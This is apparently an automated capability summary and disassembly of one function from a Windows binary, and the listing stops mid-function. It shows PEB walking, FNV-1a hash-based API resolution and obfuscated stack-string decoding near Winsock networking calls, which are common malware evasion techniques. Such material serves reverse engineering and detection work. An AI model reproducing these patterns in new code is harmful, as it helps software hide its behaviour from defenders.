Function at 0x1400a3b3c
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using base64
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov r13, qword [0x1402a1d50]
test r13, r13
jne 0x1400a3cb8
mov rax, qword gs:[0x60]
xor ebx, ebx
mov edi, 0xf8f45725
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r10, r14
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1400a3bce
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400a3bc1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400a3bb2
cmp edx, ebx
jne 0x1400a3c98
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1400a3c98
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1400a3c98
mov r12d, dword [r9 + 0x20]
dec r11d
mov esi, 0x811c9dc5
lea rcx, [r8 + r11*4]
mov edx, dword [rcx + r12]
add rdx, r8
jmp 0x1400a3c22
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400a3c17
cmp esi, edi
je 0x1400a3c36
test r11d, r11d
jne 0x1400a3c02
jmp 0x1400a3c98
mov ecx, dword [r9 + 0x24]
mov edx, dword [r9 + 0x1c]
add rcx, r8
add rdx, r8
movzx ecx, word [rcx + r11*2]
mov r13d, dword [rdx + rcx*4]
add r13, r8
cmp r13, r9
jbe 0x1400a3cb1
lea rcx, [rax + r9]
cmp r13, rcx
jae 0x1400a3cb1
mov ebx, 0x811c9dc5
mov edi, ebx
jmp 0x1400a3c75
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r13
mov al, byte [r13]
cmp al, 0x2e
jne 0x1400a3c67
jmp 0x1400a3c8a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r13
mov al, byte [r13]
test al, al
jne 0x1400a3c7f
mov r10, qword [r14]
mov rax, qword [r10]
mov r10, rax
cmp rax, r14
je 0x1400a3cae
cmp qword [rax + 0x30], 0
jne 0x1400a3b86
xor r13d, r13d
mov qword [0x1402a1d50], r13
mov dil, byte [rbp + 0x48]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x68197914
mov dword [rbp - 0x2c], 0x6572167e
or r15, 0xffffffffffffffff
mov dword [rbp - 0x28], 0x647f737f
lea r14d, [rax + 4]
mov dword [rbp - 0x24], 0x65797e76
mov dword [rbp - 0x20], 0x786a7d0a
mov word [rbp - 0x1c], 0x7d7d
mov byte [rbp - 0x1a], Ordinal_211
movups xmmword [rbp - 0x19], xmm0
mov dword [rbp - 9], eax
call fcn.14001acc4
mov rbx, qword [rax]
call fcn.14001accc
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x2b
jae 0x1400a457c
movzx r8d, byte [rbp + r9 - 0x30]
cmp rbx, r9
ja 0x1400a4573
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400a3d55
movabs rcx, 0x1eb06e0d1d565a1
mov rax, r8
add rcx, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x67
jmp 0x1400a3d82
je 0x1400a44ff
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400a4491
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400a4466
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1400a4425
mov r11b, r8b
cmp r10, r9
ja 0x1400a456a
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400a3db7
movabs rcx, 0x2847907136815635
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x73
jmp 0x1400a3de4
je 0x1400a440b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400a43f3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400a43d8
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1400a43bd
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1400a415c
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1400a413f
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1400a411c
lea rcx, [r10 + 6]
cmp rbx, rcx
je 0x1400a40f5
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400a40ce
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1400a40ab
lea r10, [rcx + 0x80]
mov rbx, rcx
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1400a454e
lea rax, [r10 + 0x61]
cmp rcx, rax
jb 0x1400a4532
lea rcx, [r10 + 0x2a]
cmp rbx, rcx
jb 0x1400a3f35
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1400a3f12
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x1400a3eef
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x1400a4056
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1400a4013
lea r10, [rcx + 0x10]
mov rbx, rcx
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x1400a3ff0
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x1400a3fc9
lea rcx, [r10 + 0x10]
cmp rbx, rcx
ja 0x1400a3fa2
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1400a3f7b
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1400a3f58
mov rbx, rcx
lea r10, [rcx + 0x1000]
jmp 0x1400a3df1
movabs rcx, 0xa9cbc11eede2e6b
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x13
jmp 0x1400a3de4
movabs rcx, 0x6c6ae504b336329
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1f
jmp 0x1400a3d85
movabs rcx, 0x2f0a08ea78897e7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x51
jmp 0x1400a3d20
movabs rcx, 0x32e44c83255f84a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x1400a447c
mov edx, gethostname
movabs rcx, 0x2f0e3ec181b4b95e
add rcx, r9
mov al, cl
and al, r8b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400a447f
mov edx, reloc.WLDAP32.dll_Ordinal_30
movabs rcx, 0x2b3830ffde09ee1c
add rcx, r9
mov al, cl
and al, r8b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400a44b5
mov edx, 5
movabs rcx, 0x2762233e3a5f22da
add rcx, r9
mov al, cl
and al, r8b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400a44d9
movabs rcx, 0x238c157c96b45798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x28
jmp 0x1400a451e
movabs rcx, 0x1248d7953633c4ef
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x77
cmp rbx, 1
jae 0x1400a436a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400a42ee
lea edx, [r9 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1400a418d
movabs rcx, 0xe72c9d39288f9ad
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x45
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x1400a43a5
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x1400a425f
lea edx, [r9 + 0x5d]
mov al, r8b
and al, dl
mov dil, r8b
add al, al
sub dil, al
add dil, 0x75
add dil, dl
jmp 0x1400a4031
movabs rcx, 0xe2552ba0b85cd836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7a
jmp 0x1400a447c
mov edx, Ordinal_45
movabs rcx, 0xde7f1ddf14b20cf4
add rcx, r9
mov al, cl
and al, r8b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400a4383
mov edx, reloc.WS2_32.dll_recvfrom
movabs rcx, 0xdaa9101d710741b2
add rcx, r9
mov al, cl
and al, r8b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400a445e
movabs rcx, 0xd6d3025bcd5c7670
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x1400a445b
lea edx, [r9 + 0x2e]
mov al, r8b
and al, dl
mov dil, r8b
add al, al
mov r11b, r9b
sub dil, al
sub dil, 0x42
jmp 0x1400a443d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400a4182
lea edx, [r9 - 0x5f]
mov al, r8b
and al, dl
mov dil, r8b
add al, al
sub dil, al
sub dil, 0x67
add dil, dl
jmp 0x1400a4074
jne 0x1400a41a2
lea edx, [r9 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1400a451e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400a41c6
mov ecx, 0x3f
lea edx, [r9 - 0x12]
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400a44b2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400a41ea
lea ecx, [r9 + 0x72]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1e
jmp 0x1400a447c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400a420e
mov ecx, 0xa
lea edx, [r9 - 0x4c]
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1400a4380
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400a4235
lea edx, [r9 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1400a445e
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x1400a4074
mov r11b, r9b
mov al, r8b
mov dil, r8b
lea edx, [r11 + 0x7a]
and al, dl
add al, al
sub dil, al
sub dil, 0x56
jmp 0x1400a443d
jne 0x1400a427e
mov r11b, r9b
mov al, r8b
mov dil, r8b
lea edx, [r11 - 0x61]
and al, dl
add al, al
sub dil, al
sub dil, 0x59
jmp 0x1400a443d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400a42a2
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0xb
jmp 0x1400a445e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400a42c6
lea ecx, [r9 - 0x59]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x6f
jmp 0x1400a447c
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400a4031
lea ecx, [r9 - 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x37
jmp 0x1400a451e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400a4315
lea edx, [r9 + 0x16]
mov ecx, 0x33
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1400a44d9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400a4338
lea ecx, [r9 - 0x24]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x1400a447c
cmp r10, 0x20
jb 0x1400a4360
mov cl, r8b
mov r11b, r9b
mov al, r8b
lea edx, [r11 + 0x26]
and al, dl
add al, al
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x14]
jmp 0x1400a4440
mov byte [rbp + r9 - 0x30], dil
jmp 0x1400a452a
mov cl, byte [rbp + r9 - 0x30]
lea edx, [r9 + 0x68]
mov al, r8b
and al, dl
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
mov al, r11b
lea ecx, [r9 + 9]
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3f
add r11b, dil
add r11b, cl
mov byte [rbp + r9 - 0x30], r11b
jmp 0x1400a447c
mov ecx, reloc.WLDAP32.dll_Ordinal_45
lea edx, [r9 - 0x56]
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400a44b2
lea ecx, [r9 - 0x79]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x4f
jmp 0x1400a451e
lea ecx, [r9 + 0x7f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x79
jmp 0x1400a447c
lea ecx, [r9 - 5]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x23
jmp 0x1400a445e
mov r11b, r9b
mov al, r8b
mov dil, r8b
lea edx, [r11 + 0x77]
and al, dl
add al, al
sub dil, al
sub dil, 0x41
jmp 0x1400a443d
mov r11b, r9b
mov al, r8b
mov dil, r8b
lea edx, [r11 - 0xd]
and al, dl
add al, al
sub dil, al
add dil, 0x5b
add dil, dl
mov al, r8b
sub r11b, 0x39
and al, r11b
add al, al
sub r8b, al
sub r8b, 0x71
add r8b, r11b
mov byte [rbp + r9 - 0x30], r8b
inc r10
dec r9
jmp 0x1400a452a
lea ecx, [r9 - 0x15]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6d
add rbx, r10
movzx eax, dil
mov rcx, r15
sub rcx, rax
add r9, rcx
jmp 0x1400a452a
movabs rdx, 0xd6d3025bcd5c767
mov dil, r8b
add rdx, r9
mov r11b, r8b
mov al, dl
and al, r8b
add al, al
sub dil, al
add dil, 0x2f
add dil, dl
lea ecx, [r9 + 0x4b]
inc r10
mov al, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0xd
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 - 0x30], al
add rax, r10
sub r9, rax
lea ecx, [r9 - 0x14]
inc rbx
mov al, cl
and al, r11b
add al, al
sub cl, al
mov rax, r15
sub cl, 0x74
sub rax, rbx
add cl, r11b
mov byte [rbp + r9 - 0x30], cl
add r9, rax
jmp 0x1400a451e
movabs rcx, 0x5c114a2758030e3
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x35
movzx eax, byte [rbp + r9 - 0x30]
add rax, r10
add r9, rax
inc r9
jmp 0x1400a3d10
sub r9b, 0x5b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x7d
jmp 0x1400a3d0d
add r9b, 0x63
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x4b
jmp 0x1400a3cfd
lea rax, [rbp + 0x16047fc]
jmp 0x1400a4580
lea rax, [rbp + 0xf5ad9d]
jmp 0x1400a4580
lea rax, [rbp - 0x30]
mov r12, qword [0x1402a1d40]
mov qword [rbp + 0x48], rax
test r12, r12
jne 0x1400a46f5
mov rax, qword gs:[0x60]
xor esi, esi
mov r14d, 0xe463da3c
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400a45fa
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400a45ed
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400a45de
cmp edx, esi
jne 0x1400a46cb
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400a46cb
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400a46cb
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x1400a464e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400a4643
cmp edx, r14d
je 0x1400a4664
test r11d, r11d
jne 0x1400a462e
jmp 0x1400a46cb
mov edx, dword [r10 + 0x24]
mov r8d, dword [r10 + 0x1c]
add rdx, r9
add r8, r9
movzx edx, word [rdx + r11*2]
mov r12d, dword [r8 + rdx*4]
add r12, r9
cmp r12, r10
jbe 0x1400a46e4
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x1400a46e4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1400a46a6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r12
mov al, byte [r12]
cmp al, 0x2e
jne 0x1400a4698
jmp 0x1400a46bd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r12
mov al, byte [r12]
test al, al
jne 0x1400a46b0
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x1400a46e1
cmp qword [rax + 0x30], 0
jne 0x1400a45b3
xor r12d, r12d
mov qword [0x1402a1d40], r12
mov r14d, 4
or r15, 0xffffffffffffffff
mov dil, byte [rbp + 0x48]
xor eax, eax
mov qword [rbp - 0x46], rax
mov sil, Ordinal_26
mov dword [rbp - 0x3e], eax
mov word [rbp - 0x3a], ax
mov byte [rbp - 0x38], al
mov dword [rbp - 0x50], 0xf708f9f4
mov dword [rbp - 0x4c], 0xfb0c33f6
mov word [rbp - 0x48], 0x6dfa
call fcn.14001acc4
mov rbx, qword [rax]
call fcn.14001accc
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x19
jae 0x1400a5134
movzx r8d, byte [rbp + r11 - 0x50]
mov rdx, r8
cmp rbx, r11
ja 0x1400a512b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400a477b
movabs rcx, 0xe662c434dec30971
mov rax, r8
add rcx, r11
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x17
jmp 0x1400a47b5
je 0x1400a50ba
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400a506f
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400a5028
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400a500a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400a4fcf
cmp r10, r11
ja 0x1400a5122
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x1400a47de
lea ecx, [r11 + 0x45]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1d
jmp 0x1400a481f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400a4fb5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400a4f8a
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400a4f72
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400a4f55
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400a4f3a
lea rax, [r10 + rbx]
cmp rax, r11
jbe 0x1400a4cf3
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1400a4cd2
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1400a4cb8
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x1400a4c9e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400a4c81
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1400a4c63
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1400a4c45
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x1400a4c27
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400a4c0d
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1400a4bf3
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1400a482c
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x2a]
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1400a5106
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1400a50ea
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1400a4a23
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1400a4a09
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1400a49ef
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1400a4bac
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1400a4b66
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1400a4b2b
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1400a4b0c
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1400a482c
lea rbx, [r10 + 0x28]
lea r10, [rbx + 8]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1400a4afe
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1400a4af0
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1400a4ad7
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1400a4abd
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1400a4aa3
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1400a4a85
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1400a4a77
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1400a4a59
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1400a4a3d
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x1400a482c
lea rbx, [r10 + 0x400]
lea r10, [rbx + 0x41]
jmp 0x1400a482c
lea ecx, [r11 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x1400a481f
lea ecx, [r11 + 0x79]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4f
jmp 0x1400a47b5
lea ecx, [r11 - 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x21
jmp 0x1400a4743
lea ecx, [r11 + 0x28]
mov r9b, r11b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1400a4fea
lea edx, [r11 + 0x46]
mov ecx, ntohs
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a5005
lea edx, [r11 + 0x64]
mov ecx, Ordinal_35
jmp 0x1400a4d9c
lea edx, [r11 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a4ef8
lea ecx, [r11 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1400a4fa0
lea ecx, [r11 - 0x42]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1400a4fa3
lea ecx, [r11 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x1400a5049
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400a4d52
lea edx, [rsi + r11]
mov ecx, Ordinal_45
jmp 0x1400a4d2b
lea ecx, [r11 - 0x1d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x35
mov byte [rbp + r11 - 0x50], dil
jmp 0x1400a50e2
lea ecx, [r11 + 1]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 7
cmp r10, 6
jb 0x1400a4b21
mov r9b, r11b
lea ecx, [r9 + 6]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x1400a4fea
lea ecx, [r11 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x27
cmp rbx, 0x64
jae 0x1400a4ed9
lea rax, [r10 + 0x400]
cmp rbx, rax
jbe 0x1400a4e47
lea ecx, [r11 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x1400a4b40
lea ecx, [r11 + 0x3d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x55
lea rax, [r10 + rbx]
cmp rax, 9
je 0x1400a4f1f
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x1400a4ddb
lea ecx, [r11 - 0x13]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7b
jmp 0x1400a4b7b
lea ecx, [r11 - 0x62]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x1400a50d6
lea ecx, [r11 - 0x44]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x1400a5090
lea edx, [r11 - 0x26]
mov ecx, 5
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a5049
lea edx, [r11 - 8]
mov ecx, Ordinal_32
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a4fa3
lea edx, [r11 + 0x16]
mov ecx, 0x33
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a4fa0
mov r9b, r11b
lea ecx, [r9 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1400a4efb
lea ecx, [r11 + 0x52]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
jmp 0x1400a5020
lea ecx, [r11 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1400a5005
mov r9b, r11b
mov ecx, reloc.WS2_32.dll_ntohs
lea edx, [r9 - 0x72]
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a4fea
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x1400a4d19
lea ecx, [r11 + 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x17
jmp 0x1400a4bc1
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400a4d40
lea edx, [r11 - 0x76]
mov ecx, Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a50d6
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400a4d67
lea edx, [r11 + 0x6c]
mov ecx, 6
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a5090
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400a4d8a
lea ecx, [r11 + 0x4e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x1400a5049
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400a4db1
lea edx, [r11 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400a5020
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400a4bc1
mov r9b, r11b
lea ecx, [r9 - 0x66]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
jmp 0x1400a4fea
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400a4e01
mov r9b, r11b
lea ecx, [r9 - 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x57
jmp 0x1400a4fea
cmp rbx, rcx
jne 0x1400a4e20
lea ecx, [r11 - 0x6d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 5
jmp 0x1400a5020
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400a4b7b
lea ecx, [r11 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
